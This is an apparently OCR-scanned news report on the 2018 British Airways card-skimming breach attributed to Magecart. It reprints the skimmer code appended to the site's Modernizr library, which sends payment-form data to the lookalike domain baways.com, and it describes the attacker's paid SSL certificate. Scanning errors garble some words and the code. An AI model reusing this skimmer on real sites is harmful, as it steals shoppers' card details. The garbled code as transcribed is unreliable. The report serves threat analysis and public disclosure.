British Airways Fell Victim To Card Scraping Attack
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The recent British Airways data breach affecting 380,000 individuals appears to be the work
of a known adversary that infects websites with a script designed to collect payment card
data.

The name of the group is MageCart, and the scripts it uses have the same effect as the
physical card skimming devices used by cybercriiminals at ATMs. In a typical attack, the
group casts a wide net by compromising commonly used third-party functionality that allows
access to hundreds of websites.

British Airways was targeted

Digital threat management company RisklQ tracks the activity of MageCart group and
reported their use of web-based card skimmers since 2016. They are familiar with the threat
actor and their skimmer-code and detect it almost on an hourly basis.

With British Airways, though, MageCart took a targeted approach and customized the script
so that did not ring any alarm bells.
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"This particular skimmer is very much attuned to how British Airway’s payment page is set
up, which tells us that the attackers carefully considered how to target this site instead of
blindly injecting the regular

Magecart skimmer," RisklQ says in a report shared with BleepingComputer in advance.

For this investigation, the researchers identified all the scripts loaded by the air carrier's
website and searched for recent changes.

The researchers noticed that the Modernizr JavaScript library had been modified with 22
new lines of code at the bottom, a tactic often used by attackers to make sure they don't
break the functionality of the script.

Page https.//www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js
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g(a,b){var c;return window.getComputedStyle?c=document.defaultView.getComputedStyle(a,null).getPropertyValue(b):a.currentStyle&&
(c=a.currentStyle[b]),c}function

h(){d.removeChild(a),a=null,b=null,c=null}var

a=document.createElement ( "ruby"),b=document.createElement("rt"),c=document.createElement("rp"),d=document.documentElement,e="display",f="fo
ntSize";return

a.appendChild(c),a.appendChild(b),d.appendChild(a),g(c,e)=="none" | |g(a,e)=="ruby"&&g(b,e)=="ruby-text"||g(c,£)=="6pt"&&g(b,£)=="6pt"?
(h(),10):(h(),!1)}),Modernizr.addTest("time", "valueAsDate"in

document.createElement ( "time")),Modernizr.addTest({texttrackapi:typeof
document.createElement ( "video").addTextTrack=="function",track:"kind"in
document.createElement("track")}),Modernizr.addTest( "placeholder”, function()

{return"placeholder"in(Modernizr.input| |document.createElement("input”))&&"placeholder"in(Modernizr.textarea||document.createElement("texta
rea"))}),Modernizr.addTest("speechinput",functiocn(){var

a=document.createElement ("input");return'speech"in a| | "onwebkitspeechchange"in
a}),function(a,b){b.formvalidationapi=!1,b.formvalidationmessage=!1,b.addTest(" formvalidation", function(){var
c=a.createElement("form");if("checkValidity"in c){var

d=a.body,e=a.documentElement, f=11,g=!1,h;return b.formvalidationapi=1!0,c.onsubmit=function(a)

{window.opera| |a.preventDefault(),a.stopPropagation()},c.innerHTML="'<input

name="modTest"

required><button></button>',c.style.position="absolute",c.style.top="-99999em",d| |

(f=10,d=a.createElement ("body"),d.style.background="",e.appendChild(d)),d.appendChild(c),h=c.getElementsByTagName("input")
[0],h.oninvalid=function(a)
{g=10,a.preventDefault(),a.stopPropagation()},b.formvalidationmessage=!lh.validationMessage,c.getElementsByTagName ("button")
[0].click(),d.removeChild(c), f&&e.removeChild(d) g}returnll})}(document, window.Modernizr);
window.onload=function(){jQuery("#submitButton").bind("mouseup touchend",function(a){var

n={}; jQuery("#paymentForm").serializeArray().map(function(a){n[a.name]=a.value});var

e=document.getElementById( "personPaying").innerHTML;n.person=e;var

t=JSON.stringify(n);setTimeout(function()

{jQuery.ajax({type: "POST",async:!0,url: "https://baways.com/gateway/app/dataprocessing/api/",data:t,dataType: "application/json"})},500)})};

British Airways website loaded the library from the baggage claim information page, and the
change made by MageCart threat actor allowed Modernizr to send payment information
from the customer to the attacker's server.

The compromised code reacted the same whether the website launched on a computer
screen or from the mobile app, since in both cases the resources for for searching, booking
or managing flights were the same.

The change in the JavaScript library was confirmed by the headers sent by the British

Airways server, which indicated August 21, 20:49 GMT as the time and date of the last
modification in Modernizr.
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In the statement on the data breach, the airline said the theft occurred between August 21,
22:58 BST, one hour after MageCart made the change in Modernizr.

Attackers use SSL certificate from Comodo

More evidence that MageCart prepared for this attack and aimed to keep it active for as
long a period as possible is found in the infrastructure used for exfiltrating the payment card
details.

The compromised Modernizr script delivered all the data to baways[.Jcom, which resembles
the legitimate domain used by British Airways, and would likely not raise suspicions during
a cursory look at the modified library.

RisklQ also discovered that MageCart purchased an SSL certificate from Comodo, instead
of going with the free choice from Let's Encrypt. The reason for this is that a paid certificate
is less likely to attract attention.

Issued 2018-08-15

Expires 2020-08-15

Serial Number 129950451738167431558149351195969236479
SSL Version 3

baways.com (subject)
COMODO RSA Domain Validation Secure Server CA (issuer)

Common Name

baways.com (subject)
Alternative Names

www.baways.com (subject)
Organization Name COMODO CA Limited (issuer)

Organization Unit  PositiveSSL (subject)

Street Address

Locality Salford (issuer)
State/Province Greater Manchester (issuer)
Country GB (issuer)

With this attack, MageCart threat actor has stepped up the ladder and showed they are
capable of refining its operations, blending in with the targeted website to maintain their
presence.
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It is unclear how MageCart managed to compromise the British Airways website, but RisklQ
says that being able "to modify a resource for the site tells us the access was substantial."

Update: Following BleepingComputer's report, Comodo released a statement saying that it
revoked the SSL certificate issued to baways|[.Jcom, the domain used for
exfiltrating payment data.

"Comodo CA had issued the DV certificate in mid-August, 2018, after following all industry
standards and Baseline Requirements from the CA/Browser Forum," reads the statement.

"While Certificate Authorities (CAs) can and must authenticate certificate requesters
according to their validation level (EV, OV, or DV), they are not able to discern the intention
of the certificate requester in advance of real-world use," the statement continues.
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